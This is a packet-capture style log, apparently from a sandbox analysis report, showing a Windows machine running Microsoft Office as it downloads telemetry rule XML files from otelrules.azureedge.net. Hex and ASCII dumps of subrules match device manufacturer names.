cfL4;desc="?proto=TCP&rtt=1753&min_rtt=1749&rtt_var=665&sent=285&recv=578&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554380&delivery_rate=1634938&cwnd=210&unsent_bytes=0&cid=61a55877906363e3&ts=5177&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f2f6d8ae-201e-0096-414e-41ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164127Z-174f7845968glpgnhC1EWR7uec000000167000000000ydmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164127Z-174f7845968n2hr8hC1EWR9cag00000015u000000000h897 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:26 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:27 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 06c834e2-b01e-0001-1c8a-4346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164127Z-174f7845968swgbqhC1EWRmnb4000000169000000000pzze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:27 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 716ae074-c01e-0046-576f-432db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164127Z-174f7845968xr5c2hC1EWRd0hn0000000r4g000000002m4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3b8b6251-d01e-0049-3c33-44e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164127Z-174f7845968j6t2phC1EWRcfe800000016bg00000000cu6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:27 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:29 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 13e6cbbb-001e-005a-04a3-43c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164129Z-174f7845968kdththC1EWRzvxn0000000khg00000000ddtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:29 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:29 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: ef6d0e99-401e-0067-3dc7-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164129Z-174f7845968xlwnmhC1EWR0sv8000000160000000000h0ad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:29 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:29 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: bff90166-801e-0083-05f9-44f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164129Z-174f7845968cs2nkhC1EWR2tq000000001s000000000w94v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:29 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:29 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 04edad6e-301e-0052-440b-4265d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164129Z-174f7845968pf68xhC1EWRr4h800000016b000000000rxz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:29 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:29 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 6644a72f-f01e-001f-6d66-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164129Z-174f7845968px8v7hC1EWR08ng00000016ag00000000x0vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:31 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164131Z-174f78459688l8rvhC1EWRtzr00000000ktg00000000ct6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:31 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:31 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: be2d73de-001e-002b-2f62-4399f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164131Z-174f7845968j6t2phC1EWRcfe8000000169g00000000nvew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:31 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 